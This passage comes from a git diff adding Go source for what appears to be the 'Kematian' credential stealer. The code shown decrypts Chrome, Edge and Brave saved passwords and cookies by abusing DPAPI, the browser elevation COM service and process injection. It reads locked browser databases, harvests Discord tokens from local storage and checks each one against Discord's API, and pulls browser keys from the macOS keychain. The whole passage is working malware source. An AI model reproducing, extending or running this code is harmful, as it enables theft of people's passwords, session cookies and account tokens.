len(ciphertext) == 0 || len(ciphertext)%aes.BlockSize != 0 { + return "" + } + + plaintext, err := aesCBCDecrypt(key, ciphertext) + if err != nil { + return "" + } + return CleanPassword(plaintext) +} + +func aesCBCDecrypt(key, ciphertext []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + iv := make([]byte, aes.BlockSize) + for i := range iv { + iv[i] = 0x20 + } + + if len(ciphertext) < aes.BlockSize { + return nil, fmt.Errorf("ciphertext too short") + } + + mode := cipher.NewCBCDecrypter(block, iv) + plaintext := make([]byte, len(ciphertext)) + mode.CryptBlocks(plaintext, ciphertext) + + plaintext = pkcs5Unpad(plaintext) + if plaintext == nil { + return nil, fmt.Errorf("invalid padding") + } + return plaintext, nil +} + +func pkcs5Unpad(data []byte) []byte { + if len(data) == 0 { + return nil + } + padLen := int(data[len(data)-1]) + if padLen == 0 || padLen > aes.BlockSize || padLen > len(data) { + return nil + } + for i := len(data) - padLen; i < len(data); i++ { + if data[i] != byte(padLen) { + return nil + } + } + return data[:len(data)-padLen] +} + +func CryptUnprotectData(in []byte) ([]byte, error) { + return nil, fmt.Errorf("DPAPI not available on macOS") +} diff --git a/Kematian-Standalone/native/recovery/crypto/crypto_linux.go b/Kematian-Standalone/native/recovery/crypto/crypto_linux.go new file mode 100644 index 0000000..8c06214 --- /dev/null +++ b/Kematian-Standalone/native/recovery/crypto/crypto_linux.go @@ -0,0 +1,128 @@ +//go:build linux + +package crypto + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/sha1" + "encoding/json" + "fmt" + "os" + + "recovery/recovery/browser" + "recovery/recovery/types" + + "golang.org/x/crypto/pbkdf2" +) + +const ( + linuxChromePassword = "peanuts" + linuxChromeSalt = "saltysalt" + linuxChromeIterations = 1 + linuxChromeKeyLen = 16 +) + +func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) { + if cfg.IsFirefox { + return &types.ResolvedKeys{}, nil + } + + localStatePath := browser.LocalStatePath(cfg) + if _, err := os.Stat(localStatePath); err != nil { + key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New) + return &types.ResolvedKeys{V10: key}, nil + } + + data, err := os.ReadFile(localStatePath) + if err != nil { + key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New) + return &types.ResolvedKeys{V10: key}, nil + } + + var localState map[string]interface{} + if err := json.Unmarshal(data, &localState); err != nil { + key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New) + return &types.ResolvedKeys{V10: key}, nil + } + + key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New) + return &types.ResolvedKeys{V10: key}, nil +} + +func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string { + if len(encrypted) == 0 { + return "" + } + + if len(encrypted) < 3 { + return "" + } + prefix := string(encrypted[:3]) + if prefix != "v10" && prefix != "v11" { + return "" + } + + key := v10Key + if key == nil || len(key) == 0 { + return "" + } + + ciphertext := encrypted[3:] + if len(ciphertext) == 0 || len(ciphertext)%aes.BlockSize != 0 { + return "" + } + + plaintext, err := aesCBCDecrypt(key, ciphertext) + if err != nil { + return "" + } + return CleanPassword(plaintext) +} + +func aesCBCDecrypt(key, ciphertext []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + iv := make([]byte, aes.BlockSize) + for i := range iv { + iv[i] = 0x20 + } + + if len(ciphertext) < aes.BlockSize { + return nil, fmt.Errorf("ciphertext too short") + } + + mode := cipher.NewCBCDecrypter(block, iv) + plaintext := make([]byte, len(ciphertext)) + mode.CryptBlocks(plaintext, ciphertext) + + // PKCS5/PKCS7 unpad + plaintext = pkcs5Unpad(plaintext) + if plaintext == nil { + return nil, fmt.Errorf("invalid padding") + } + return plaintext, nil +} + +func pkcs5Unpad(data []byte) []byte { + if len(data) == 0 { + return nil + } + padLen := int(data[len(data)-1]) + if padLen == 0 || padLen > aes.BlockSize || padLen > len(data) { + return nil + } + for i := len(data) - padLen; i < len(data); i++ { + if data[i] != byte(padLen) { + return nil + } + } + return data[:len(data)-padLen] +} + +func CryptUnprotectData(in []byte) ([]byte, error) { + return nil, fmt.Errorf("DPAPI not available on Linux") +} diff --git a/Kematian-Standalone/native/recovery/crypto/crypto_windows.go b/Kematian-Standalone/native/recovery/crypto/crypto_windows.go new file mode 100644 index 0000000..71061ca --- /dev/null +++ b/Kematian-Standalone/native/recovery/crypto/crypto_windows.go @@ -0,0 +1,372 @@ +//go:build windows + +package crypto + +import ( + "crypto/aes" + "crypto/cipher" + "encoding/base64" + "encoding/json" + "fmt" + "os" + "syscall" + "unsafe" + + "recovery/recovery/browser" + "recovery/recovery/platform" + "recovery/recovery/types" + + "golang.org/x/sys/windows" +) + +var ( + modCrypt32 = windows.NewLazySystemDLL("crypt32.dll") + procCryptUnprotectData = modCrypt32.NewProc("CryptUnprotectData") +) + +type dataBlob struct { + cbData uint32 + pbData *byte +} + +func CryptUnprotectData(in []byte) ([]byte, error) { + var inBlob, outBlob dataBlob + inBlob.cbData = uint32(len(in)) + if len(in) > 0 { + inBlob.pbData = &in[0] + } + + r, _, err := procCryptUnprotectData.Call( + uintptr(unsafe.Pointer(&inBlob)), + 0, 0, 0, 0, 0, + uintptr(unsafe.Pointer(&outBlob)), + ) + if r == 0 { + return nil, fmt.Errorf("CryptUnprotectData: %w", err) + } + defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData)))) + + out := make([]byte, outBlob.cbData) + for i := range out { + out[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(outBlob.pbData)) + uintptr(i))) + } + return out, nil +} + +var ( + clsidChromeElevator = windows.GUID{ + Data1: 0x708860E0, Data2: 0xF641, Data3: 0x4611, + Data4: [8]byte{0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}, + } + iidChromeElevatorV2 = windows.GUID{ + Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992, + Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38}, + } + iidChromeElevatorV1 = windows.GUID{ + Data1: 0x463ABECF, Data2: 0x410D, Data3: 0x407F, + Data4: [8]byte{0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}, + } + clsidEdgeElevator = windows.GUID{ + Data1: 0x1FCBE96C, Data2: 0x1697, Data3: 0x43AF, + Data4: [8]byte{0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}, + } + iidEdgeElevator = windows.GUID{ + Data1: 0xC9C2B807, Data2: 0x7731, Data3: 0x4F34, + Data4: [8]byte{0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}, + } + clsidBraveElevator = windows.GUID{ + Data1: 0x576B31AF, Data2: 0x6369, Data3: 0x4B6B, + Data4: [8]byte{0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}, + } + iidBraveElevatorV2 = windows.GUID{ + Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992, + Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38}, + } + iidBraveElevatorV1 = windows.GUID{ + Data1: 0xF396861E, Data2: 0x0C8E, Data3: 0x4C71, + Data4: [8]byte{0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}, + } +) + +func safeV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) (key []byte, err error) { + defer func() { + if r := recover(); r != nil { + err = fmt.Errorf("COM panic: %v", r) + } + }() + return tryV20KeyViaCOM(cfg, encBlob) +} + +func tryV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) ([]byte, error) { + hr := coInitializeEx() + if hr != 0 { + return nil, fmt.Errorf("CoInitializeEx: 0x%08x", hr) + } + defer coUninitialize() + + clsid := clsidChromeElevator + iid := iidChromeElevatorV2 + if cfg.Name == "Edge" { + clsid = clsidEdgeElevator + iid = iidEdgeElevator + } else if cfg.Name == "Brave" { + clsid = clsidBraveElevator + iid = iidBraveElevatorV2 + } + + var unknown *IUnknown + hr = coCreateInstance(&clsid, nil, 4, &iid, (*unsafe.Pointer)(unsafe.Pointer(&unknown))) + if hr != 0 && cfg.Name == "Chrome" { + hr = coCreateInstance(&clsid, nil, 4, &iidChromeElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown))) + } + if hr != 0 && cfg.Name == "Brave" { + hr = coCreateInstance(&clsid, nil, 4, &iidBraveElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown))) + } + if hr != 0 { + return nil, fmt.Errorf("CoCreateInstance: 0x%08x", hr) + } + defer unknown.Release() + + hr = coSetProxyBlanket(unknown) + if hr != 0 { + logf("CoSetProxyBlanket warning: 0x%08x", hr) + } + + bstrCipher := sysAllocStringByteLen(encBlob) + if bstrCipher == nil { + return nil, fmt.Errorf("SysAllocStringByteLen failed") + } + defer sysFreeString(bstrCipher) + + var bstrPlain *uint16 + var lastErr uint32 + hr = callDecryptData(unknown, bstrCipher, &bstrPlain, &lastErr) + if hr != 0 || bstrPlain == nil { + return nil, fmt.Errorf("DecryptData: 0x%08x (lastError=%d)", hr, lastErr) + } + defer sysFreeString(bstrPlain) + + keyLen := sysStringByteLen(bstrPlain) + if keyLen < 32 { + return nil, fmt.Errorf("decrypted key too short: %d bytes", keyLen) + } + + result := make([]byte, 32) + for i := 0; i < 32; i++ { + result[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(bstrPlain)) + uintptr(i))) + } + return result, nil +} + +func coInitializeEx() uint32 { + r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoInitializeEx").Call(0, 2) + return uint32(r) +} + +func coUninitialize() { + windows.NewLazySystemDLL("ole32.dll").NewProc("CoUninitialize").Call() +} + +func coCreateInstance(clsid *windows.GUID, unknown *IUnknown, clsCtx uint32, iid *windows.GUID, ppv *unsafe.Pointer) uint32 { + r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoCreateInstance").Call( + uintptr(unsafe.Pointer(clsid)), + uintptr(unsafe.Pointer(unknown)), + uintptr(clsCtx), + uintptr(unsafe.Pointer(iid)), + uintptr(unsafe.Pointer(ppv)), + ) + return uint32(r) +} + +func coSetProxyBlanket(unknown *IUnknown) uint32 { + r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoSetProxyBlanket").Call( + uintptr(unsafe.Pointer(unknown)), + 0xFFFFFFFF, 0xFFFFFFFF, 0, + 6, 4, 0, 0x400, + ) + return uint32(r) +} + +func sysAllocStringByteLen(b []byte) *uint16 { + if len(b) == 0 { + return nil + } + r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysAllocStringByteLen").Call( + uintptr(unsafe.Pointer(&b[0])), + uintptr(len(b)), + ) + return (*uint16)(unsafe.Pointer(r)) +} + +func sysFreeString(s *uint16) { + if s != nil { + windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysFreeString").Call(uintptr(unsafe.Pointer(s))) + } +} + +func sysStringByteLen(s *uint16) int { + r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysStringByteLen").Call(uintptr(unsafe.Pointer(s))) + return int(r) +} + +type IUnknown struct { + vtbl *iUnknownVtbl +} + +type iUnknownVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr +} + +func (u *IUnknown) Release() { + syscall.SyscallN(u.vtbl.Release, uintptr(unsafe.Pointer(u))) +} + +func callDecryptData(unknown *IUnknown, bstrCipher *uint16, pbstrPlain **uint16, pLastError *uint32) uint32 { + type elevatorVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr + RunRecoveryCRXElevated uintptr + EncryptData uintptr + DecryptData uintptr + } + vtbl := (*elevatorVtbl)(unsafe.Pointer(unknown.vtbl)) + r, _, _ := syscall.SyscallN(vtbl.DecryptData, + uintptr(unsafe.Pointer(unknown)), + uintptr(unsafe.Pointer(bstrCipher)), + uintptr(unsafe.Pointer(pbstrPlain)), + uintptr(unsafe.Pointer(pLastError)), + ) + return uint32(r) +} + +func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) { + if cfg.IsFirefox { + return &types.ResolvedKeys{}, nil + } + + keys := &types.ResolvedKeys{} + localStatePath := browser.LocalStatePath(cfg) + + data, err := os.ReadFile(localStatePath) + if err != nil { + return nil, fmt.Errorf("read Local State: %w", err) + } + + var localState map[string]interface{} + if err := json.Unmarshal(data, &localState); err != nil { + return nil, fmt.Errorf("parse Local State: %w", err) + } + + osCrypt, _ := localState["os_crypt"].(map[string]interface{}) + if osCrypt == nil { + return nil, fmt.Errorf("no os_crypt section in Local State") + } + + if encKey, ok := osCrypt["encrypted_key"].(string); ok && encKey != "" { + decoded, err := base64.StdEncoding.DecodeString(encKey) + if err == nil && len(decoded) > 5 && string(decoded[:5]) == "DPAPI" { + v10Key, err := CryptUnprotectData(decoded[5:]) + if err == nil { + keys.V10 = v10Key + logf("resolved V10 (DPAPI) key, %d bytes", len(v10Key)) + } else { + logf("V10 DPAPI failed: %v", err) + } + } + } + + if appBoundKey, ok := osCrypt["app_bound_encrypted_key"].(string); ok && appBoundKey != "" { + decoded, err := base64.StdEncoding.DecodeString(appBoundKey) + if err == nil && len(decoded) > 4 { + encBlob := decoded[4:] + + var v20Key []byte + if platform.ActivePipeSession == nil { + err = fmt.Errorf("no active pipe session") + } else { + encB64 := base64.StdEncoding.EncodeToString(encBlob) + v20Key, err = platform.ActivePipeSession.GetV20Key(cfg.Name, encB64) + } + if err != nil { + if platform.ActivePipeSession == nil { + if cfg.Name != "Chrome" { + logf("V20 via pipe failed (%s): %v, falling back to direct COM", cfg.Name, err) + v20Key, err = safeV20KeyViaCOM(cfg, encBlob) + } else { + logf("V20 via pipe failed (Chrome): %v — COM unsafe without browser session, skipping", err) + err = fmt.Errorf("Chrome V20 requires browser session") + } + } else { + logf("V20 via pipe failed (%s): %v, trying browser-specific injection", cfg.Name, err) + v20Key, err = platform.TryV20KeyViaBrowserSession(cfg.ProcessName, cfg.Name, encBlob) + if err != nil { + logf("browser-specific injection for V20 also failed (%s): %v", cfg.Name, err) + } + } + } + if err == nil { + keys.V20 = v20Key + logf("resolved V20 (App-Bound) key for %s, %d bytes", cfg.Name, len(v20Key)) + } else { + logf("V20 key unavailable for %s: %v", cfg.Name, err) + } + } + } + + if keys.V10 == nil && keys.V20 == nil { + return nil, fmt.Errorf("could not resolve any master key") + } + + return keys, nil +} + +func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string { + if len(encrypted) == 0 { + return "" + } + + var key []byte + if len(encrypted) >= 3 { + switch string(encrypted[:3]) { + case "v10", "v11": + key = v10Key + case "v20": + key = v20Key + } + } + + if key == nil || len(key) == 0 { + return "" + } + if len(encrypted) < 3+12+16 { + return "" + } + + nonce := encrypted[3:15] + tag := encrypted[len(encrypted)-16:] + ciphertext := encrypted[15 : len(encrypted)-16] + + plaintext, err := aesGCMDecrypt(key, nonce, ciphertext, tag) + if err != nil { + return "" + } + return CleanPassword(plaintext) +} + +func aesGCMDecrypt(key, nonce, ciphertext, tag []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + aesGCM, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + ctWithTag := make([]byte, len(ciphertext)+len(tag)) + copy(ctWithTag, ciphertext) + copy(ctWithTag[len(ciphertext):], tag) + return aesGCM.Open(nil, nonce, ctWithTag, nil) +} diff --git a/Kematian-Standalone/native/recovery/crypto/log.go b/Kematian-Standalone/native/recovery/crypto/log.go new file mode 100644 index 0000000..dc8d5df --- /dev/null +++ b/Kematian-Standalone/native/recovery/crypto/log.go @@ -0,0 +1,7 @@ +package crypto + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[crypto] "+format, args...) +} diff --git a/Kematian-Standalone/native/recovery/db/clone_test.go b/Kematian-Standalone/native/recovery/db/clone_test.go new file mode 100644 index 0000000..4b55c09 --- /dev/null +++ b/Kematian-Standalone/native/recovery/db/clone_test.go @@ -0,0 +1,44 @@ +package db + +import ( + "database/sql" + "path/filepath" + "testing" + + _ "github.com/mattn/go-sqlite3" +) + +func TestOpenDatabaseReadsLiveWAL(t *testing.T) { + dir := t.TempDir() + dbPath := filepath.Join(dir, "Cookies") + + live, err := sql.Open("sqlite3", dbPath) + if err != nil { + t.Fatal(err) + } + live.SetMaxOpenConns(1) + defer live.Close() + if _, err := live.Exec("PRAGMA journal_mode=WAL"); err != nil { + t.Fatal(err) + } + if _, err := live.Exec("CREATE TABLE cookies (host_key TEXT, value TEXT)"); err != nil { + t.Fatal(err) + } + if _, err := live.Exec("INSERT INTO cookies VALUES ('example.com', 'secret')"); err != nil { + t.Fatal(err) + } + + d, err := OpenDatabase(dbPath, nil) + if err != nil { + t.Fatalf("OpenDatabase: %v", err) + } + defer d.Close() + + var n int + if err := d.QueryRow("SELECT COUNT(*) FROM cookies").Scan(&n); err != nil { + t.Fatalf("query: %v", err) + } + if n != 1 { + t.Fatalf("expected 1 cookie row, got %d", n) + } +} diff --git a/Kematian-Standalone/native/recovery/db/db.go b/Kematian-Standalone/native/recovery/db/db.go new file mode 100644 index 0000000..5ccd3c0 --- /dev/null +++ b/Kematian-Standalone/native/recovery/db/db.go @@ -0,0 +1,122 @@ +package db + +import ( + "context" + "database/sql" + "fmt" + "os" + "path/filepath" + "strings" + + "recovery/recovery/platform" + + sqlite3 "github.com/mattn/go-sqlite3" +) + +func OpenDatabase(dbPath string, pids []uint32) (*sql.DB, error) { + cleanPath := dbPath + if i := strings.IndexByte(dbPath, '?'); i >= 0 { + cleanPath = dbPath[:i] + } + + hasWAL := false + if wal, err := os.Stat(cleanPath + "-wal"); err == nil && wal.Size() > 0 { + hasWAL = true + } + + if !hasWAL { + uri := fmt.Sprintf("file:%s?mode=ro&nolock=1&immutable=1", dbPath) + if db, err := sql.Open("sqlite3", uri); err == nil { + if err := db.Ping(); err == nil { + logf("opened %s via immutable snapshot", dbPath) + return db, nil + } + db.Close() + } + } + + if snapshot, cloneErr := cloneSnapshot(cleanPath, pids); cloneErr == nil { + logf("opened %s via cloned snapshot (%d bytes)", dbPath, len(snapshot)) + return OpenDatabaseFromBytes(snapshot) + } else { + logf("clone failed for %s: %v; falling back to direct read", dbPath, cloneErr) + } + + data, err := platform.ReadLockedFile(cleanPath, pids) + if err != nil { + return nil, fmt.Errorf("open %s: %w", dbPath, err) + } + logf("opened %s via injected ReadLockedFile (%d bytes)", dbPath, len(data)) + return OpenDatabaseFromBytes(data) +} + +func cloneSnapshot(dbPath string, pids []uint32) ([]byte, error) { + tmp, err := os.MkdirTemp("", "kematian_db_*") + if err != nil { + return nil, err + } + defer os.RemoveAll(tmp) + + clonePath := filepath.Join(tmp, filepath.Base(dbPath)) + + mainData, err := platform.ReadLockedFile(dbPath, pids) + if err != nil { + return nil, err + } + if err := os.WriteFile(clonePath, mainData, 0600); err != nil { + return nil, err + } + + for _, suffix := range []string{"-wal", "-journal"} { + src := dbPath + suffix + if info, err := os.Stat(src); err == nil && info.Size() > 0 { + if data, err := platform.ReadLockedFile(src, pids); err == nil { + if err := os.WriteFile(clonePath+suffix, data, 0600); err != nil { + return nil, err + } + } + } + } + + d, err := sql.Open("sqlite3", clonePath) + if err != nil { + return nil, err + } + d.SetMaxOpenConns(1) + if _, err := d.Exec("PRAGMA journal_mode=DELETE"); err != nil { + d.Close() + return nil, err + } + d.Close() + + return os.ReadFile(clonePath) +} + +func OpenDatabaseFromBytes(data []byte) (*sql.DB, error) { + db, err := sql.Open("sqlite3", ":memory:") + if err != nil { + return nil, err + } + db.SetMaxOpenConns(1) + + conn, err := db.Conn(context.Background()) + if err != nil { + db.Close() + return nil, err + } + + err = conn.Raw(func(driverConn interface{}) error { + sqliteConn, ok := driverConn.(*sqlite3.SQLiteConn) + if !ok { + return fmt.Errorf("not a sqlite3 connection") + } + return sqliteConn.Deserialize(data, "main") + }) + conn.Close() + + if err != nil { + db.Close() + return nil, fmt.Errorf("deserialize: %w", err) + } + return db, nil +} diff --git a/Kematian-Standalone/native/recovery/db/log.go b/Kematian-Standalone/native/recovery/db/log.go new file mode 100644 index 0000000..40c6612 --- /dev/null +++ b/Kematian-Standalone/native/recovery/db/log.go @@ -0,0 +1,7 @@ +package db + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[db] "+format, args...) +} diff --git a/Kematian-Standalone/native/recovery/discord/common.go b/Kematian-Standalone/native/recovery/discord/common.go new file mode 100644 index 0000000..4bc860a --- /dev/null +++ b/Kematian-Standalone/native/recovery/discord/common.go @@ -0,0 +1,35 @@ +package discord + +import ( + "net/http" + "regexp" + "time" + + "recovery/recovery/types" +) + +var TokenRe = regexp.MustCompile(`[\w-]{24,30}\.[\w-]{6}\.[\w-]{27,42}|mfa\.[\w-]{80,95}`) +var EncRe = regexp.MustCompile(`dQw4w9WgXcQ:[^"\\]+`) +var HTTPClient = &http.Client{Timeout: 8 * time.Second} + +type DiscordApp struct { + Name string + Dir string +} + +func CheckToken(token string) bool { + req, err := http.NewRequest("GET", "https://discord.com/api/v9/users/@me", nil) + if err != nil { + return false + } + req.Header.Set("Authorization", token) + req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36") + resp, err := HTTPClient.Do(req) + if err != nil { + return false + } + resp.Body.Close() + return resp.StatusCode == 200 +} + +type TokenResult = types.DiscordTokenResult diff --git a/Kematian-Standalone/native/recovery/discord/discord_unix.go b/Kematian-Standalone/native/recovery/discord/discord_unix.go new file mode 100644 index 0000000..ccfd45c --- /dev/null +++ b/Kematian-Standalone/native/recovery/discord/discord_unix.go @@ -0,0 +1,184 @@ +//go:build !windows + +package discord + +import ( + "crypto/sha1" + "encoding/base64" + "encoding/json" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "sync" + + "recovery/recovery/crypto" + "recovery/recovery/platform" + + "golang.org/x/crypto/pbkdf2" +) + +func discordConfigDir() string { + home, _ := os.UserHomeDir() + if runtime.GOOS == "darwin" { + return filepath.Join(home, "Library", "Application Support") + } + xdg := os.Getenv("XDG_CONFIG_HOME") + if xdg != "" { + return xdg + } + return filepath.Join(home, ".config") +} + +func discordV10Key(appDir string) []byte { + data, err := os.ReadFile(filepath.Join(appDir, "Local State")) + if err != nil { + if runtime.GOOS == "linux" { + return pbkdf2.Key([]byte("peanuts"), []byte("saltysalt"), 1, 16, sha1.New) + } + if runtime.GOOS == "darwin" { + return darwinDiscordKey() + } + return nil + } + var state map[string]interface{} + if err := json.Unmarshal(data, &state); err != nil { + return nil + } + osCrypt, _ := state["os_crypt"].(map[string]interface{}) + if osCrypt == nil { + return nil + } + encKeyB64, _ := osCrypt["encrypted_key"].(string) + _ = encKeyB64 + + if runtime.GOOS == "linux" { + return pbkdf2.Key([]byte("peanuts"), []byte("saltysalt"), 1, 16, sha1.New) + } + if runtime.GOOS == "darwin" { + return darwinDiscordKey() + } + return nil +} + +func darwinDiscordKey() []byte { + for _, service := range []string{"Chromium Safe Storage", "Chrome Safe Storage"} { + out, err := exec.Command("security", "find-generic-password", "-wa", service).Output() + if err != nil { + continue + } + password := strings.TrimSpace(string(out)) + if password != "" { + return pbkdf2.Key([]byte(password), []byte("saltysalt"), 1003, 16, sha1.New) + } + } + return nil +} + +var discordApps = []DiscordApp{ + {"Discord", "discord"}, + {"Discord PTB", "discordptb"}, + {"Discord Canary", "discordcanary"}, + {"Discord Dev", "discorddevelopment"}, +} + +func readDiscordFile(path string, pids []uint32) ([]byte, error) { + return platform.ReadLockedFile(path, pids) +} + +func ExtractTokens() []TokenResult { + configDir := discordConfigDir() + + type candidate struct { + token string + source string + } + + seen := make(map[string]struct{}) + var candidates []candidate + + for _, app := range discordApps { + appDir := filepath.Join(configDir, app.Dir) + leveldb := filepath.Join(appDir, "Local Storage", "leveldb") + + entries, err := os.ReadDir(leveldb) + if err != nil { + continue + } + + pids, _ := platform.FindProcesses(app.Dir) + + for _, e := range entries { + if e.IsDir() { + continue + } + ext := strings.ToLower(filepath.Ext(e.Name())) + if ext != ".log" && ext != ".ldb" { + continue + } + data, err := readDiscordFile(filepath.Join(leveldb, e.Name()), pids) + if err != nil { + continue + } + + for _, m := range TokenRe.FindAll(data, -1) { + tok := string(m) + if _, dup := seen[tok]; !dup { + seen[tok] = struct{}{} + candidates = append(candidates, candidate{tok, app.Name}) + } + } + + for _, m := range EncRe.FindAll(data, -1) { + raw := string(m) + colonIdx := strings.Index(raw, ":") + if colonIdx < 0 { + continue + } + blob, err := base64.StdEncoding.DecodeString(raw[colonIdx+1:]) + if err != nil { + continue + } + key := discordV10Key(appDir) + if key == nil { + continue + } + tok := crypto.DecryptChromiumBlob(blob, key, nil) + if tok == "" || !TokenRe.MatchString(tok) { + continue + } + if _, dup := seen[tok]; !dup { + seen[tok] = struct{}{} + candidates = append(candidates, candidate{tok, app.Name}) + } + } + } + } + + if len(candidates) == 0 { + return nil + } + + valid := make([]bool, len(candidates)) + var wg sync.WaitGroup + sem := make(chan struct{}, 6) + for i, c := range candidates { + wg.Add(1) + go func(idx int, tok string) { + defer wg.Done() + sem <- struct{}{} + valid[idx] = CheckToken(tok) + <-sem + }(i, c.token) + } + wg.Wait() + + var out []TokenResult + for i, c := range candidates { + if valid[i] { + out = append(out, TokenResult{Token: c.token, Source: c.source}) + } + } + return out +} diff --git a/Kematian-Standalone/native/recovery/discord/discord_windows.go b/Kematian-Standalone/native/recovery/discord/discord_windows.go new file mode 100644 index 0000000..cd9de12 --- /dev/null +++ b/Kematian-Standalone/native/recovery/discord/discord_windows.go @@ -0,0 +1,171 @@ +//go:build windows + +package discord + +import ( + "encoding/base64" + "encoding/json" + "os" + "path/filepath" + "strings" + "sync" + + "recovery/recovery/crypto" + "recovery/recovery/platform" +) + +var discordApps = []DiscordApp{ + {"Discord", "discord"}, + {"Discord PTB", "discordptb"}, + {"Discord Canary", "discordcanary"}, + {"Discord Dev", "discorddevelopment"}, +} + +func discordV10Key(appDir string) []byte { + data, err := os.ReadFile(filepath.Join(appDir, "Local State")) + if err != nil { + return nil + } + var state map[string]interface{} + if err := json.Unmarshal(data, &state); err != nil { + return nil + } + osCrypt, _ := state["os_crypt"].(map[string]interface{}) + if osCrypt == nil { + return nil + } + encKeyB64, _ := osCrypt["encrypted_key"].(string) + if encKeyB64 == "" { + return nil + } + encKey, err := base64.StdEncoding.DecodeString(encKeyB64) + if err != nil || len(encKey) <= 5 { + return nil + } + key, err := crypto.CryptUnprotectData(encKey[5:]) + if err != nil { + return nil + } + return key +} + +var discordExeNames = map[string]string{ + "discord": "Discord.exe", + "discordptb": "DiscordPTB.exe", + "discordcanary": "DiscordCanary.exe", + "discorddevelopment": "DiscordDevelopment.exe", +} + +func readDiscordFile(path string, pids []uint32) ([]byte, error) { + return platform.ReadLockedFile(path, pids) +} + +func ExtractTokens() []TokenResult { + appdata := os.Getenv("APPDATA") + if appdata == "" { + return nil + } + + type candidate struct { + token string + source string + } + + seen := make(map[string]struct{}) + var candidates []candidate + + for _, app := range discordApps { + appDir := filepath.Join(appdata, app.Dir) + leveldb := filepath.Join(appDir, "Local Storage", "leveldb") + + entries, err := os.ReadDir(leveldb) + if err != nil { + continue + } + + exeName := discordExeNames[app.Dir] + pids, _ := platform.FindProcesses(exeName) + + var v10Key []byte + keyOnce := sync.Once{} + getKey := func() []byte { + keyOnce.Do(func() { v10Key = discordV10Key(appDir) }) + return v10Key + } + + for _, e := range entries { + if e.IsDir() { + continue + } + ext := strings.ToLower(filepath.Ext(e.Name())) + if ext != ".log" && ext != ".ldb" { + continue + } + data, err := readDiscordFile(filepath.Join(leveldb, e.Name()), pids) + if err != nil { + continue + } + + for _, m := range TokenRe.FindAll(data, -1) { + tok := string(m) + if _, dup := seen[tok]; !dup { + seen[tok] = struct{}{} + candidates = append(candidates, candidate{tok, app.Name}) + } + } + + for _, m := range EncRe.FindAll(data, -1) { + raw := string(m) + colonIdx := strings.Index(raw, ":") + if colonIdx < 0 { + continue + } + blob, err := base64.StdEncoding.DecodeString(raw[colonIdx+1:]) + if err != nil { + continue + } + key := getKey() + if key == nil { + continue + } + tok := crypto.DecryptChromiumBlob(blob, key, nil) + if tok == "" || !TokenRe.MatchString(tok) { + continue + } + if _, dup := seen[tok]; !dup { + seen[tok] = struct{}{} + candidates = append(candidates, candidate{tok, app.Name}) + } + } + } + } + + if len(candidates) == 0 { + logf("no candidate tokens found") + return nil + } + logf("found %d candidate tokens", len(candidates)) + + valid := make([]bool, len(candidates)) + var wg sync.WaitGroup + sem := make(chan struct{}, 6) + for i, c := range candidates { + wg.Add(1) + go func(idx int, tok string) { + defer wg.Done() + sem <- struct{}{} + valid[idx] = CheckToken(tok) + <-sem + }(i, c.token) + } + wg.Wait() + + var out []TokenResult + for i, c := range candidates { + if valid[i] { + out = append(out, TokenResult{Token: c.token, Source: c.source}) + } + } + logf("%d/%d tokens validated", len(out), len(candidates)) + return out +} diff --git a/Kematian-Standalone/native/recovery/discord/log.go b/Kematian-Standalone/native/recovery/discord/log.go new file mode 100644 index 0000000..538f311 --- /dev/null +++ b/Kematian-Standalone/native/recovery/discord/log.go @@ -0,0 +1,7 @@ +package discord + +import "log" + +func logf(format string, args ...interface{}) { + 